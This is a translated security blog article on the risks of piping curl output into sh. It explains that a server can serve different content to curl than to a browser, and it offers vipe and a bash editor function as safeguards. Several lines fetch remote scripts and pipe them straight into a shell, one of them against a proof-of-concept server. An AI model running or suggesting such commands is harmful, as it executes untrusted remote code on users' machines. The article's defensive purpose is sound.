Protect yourself from the dangers of 'curl | Sh'

Protect yourself from the dangers of 'curl | Sh'

Unless you have not installed any third-party software that developers are interested in recently, you may be advised to use the following command to install it directly from the network.

 
 

  
  
curl -s http://example.com/install.sh | sh  
 
 

This article is not to discuss the quality of this method, but to remind those who use this method. In addition to the obvious shortcomings, this method has another potential risk: the third-party data is directly transmitted to the shell through a pipe. There are many discussions about this method, one idea behind it is that the script to be executed is transparent-you can open the script in a browser before executing the command and perform a simple check on it.

The main purpose of this article is to a) demonstrate that this level of trust can be hijacked, and B) provide you with a simple protection method when installing software using curl.

Concept verification-everything is not what we see on the surface

This attack is based on the following principles: the content of the. sh file is easy to verify its security. The content in the browser is the same as the content downloaded through curl. This assumption is caused by the use of different user-agent methods in the browser and curl, so if someone knows this and exploits it, this. sh file will be compromised ).

Therefore, a simple concept has been defined: You can view all the source code on GitHub or POC hosted on Heroku; POC is hung on a free Heroku dyno, so if it cannot be opened, it is likely that it has crashed.

To perform a quick test, run the following command on the terminal after you check the URL of the. sh file in the browser. If you use curl instead of sending the same user-agent, you will get different results.

 
 

  
  
curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | sh 
 
 

Solution

The simplest way is to check the content before executing a file. there are two specific methods, which are similar in principle. They are all executed after curl and before sh. Once you find any suspicious command/code, you just need to turn off the editor, make sure that a non-zero error code is returned when the editor exits. (for example, in Vim, you can use: cq to exit ). method 1 requires installation, and method 2 requires a few words when entering the command. it depends on your personal preferences.

Method 1)VipeYou can insert the commands running the editor into the unix pipeline to view or modify the data passed to the subsequent program. We can use Vipe to view the file content before sh execution.

 
 

  
  
curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | vipe | sh 
 
 

Vipe is part of the themoreutils package. You can install Vipe on the following systems:

• Use homebrew: brew install moreutils for Mac OSX.

• Ubuntu uses apt: apt-get install moreutils.

• Other * nix systems can be installed using software sources.

Method 2) customBash Functions. Find the. bashrc file and copy the following code to save it:

 
 

  
  
# Safer curl | sh'ingfunction curlsh {  
  
  
    file=$(mktemp -t curlsh) || { echo "Failed creating file"; return; }  
  
  
    curl -s "$1" > $file || { echo "Failed to curl file"; return; }  
  
  
    $EDITOR $file || { echo "Editor quit with error code"; return; }  
  
  
    sh $file;  
  
  
    rm $file;} 
 
 

Write the following when calling:

 
 

  
  
curlsh http://pipe-to-sh-poc.herokuapp.com/install.sh  
 
 

$ EDITOR is the EDITOR you selected. It opens the file before executing the file so that you can view the content in it.

Protect yourself from the hidden dangers of 'curl <url> | Sh'

By http://www.oschina.net/translate/protect-yourself-from-non-obvious-dangers-curl-url-pipe-sh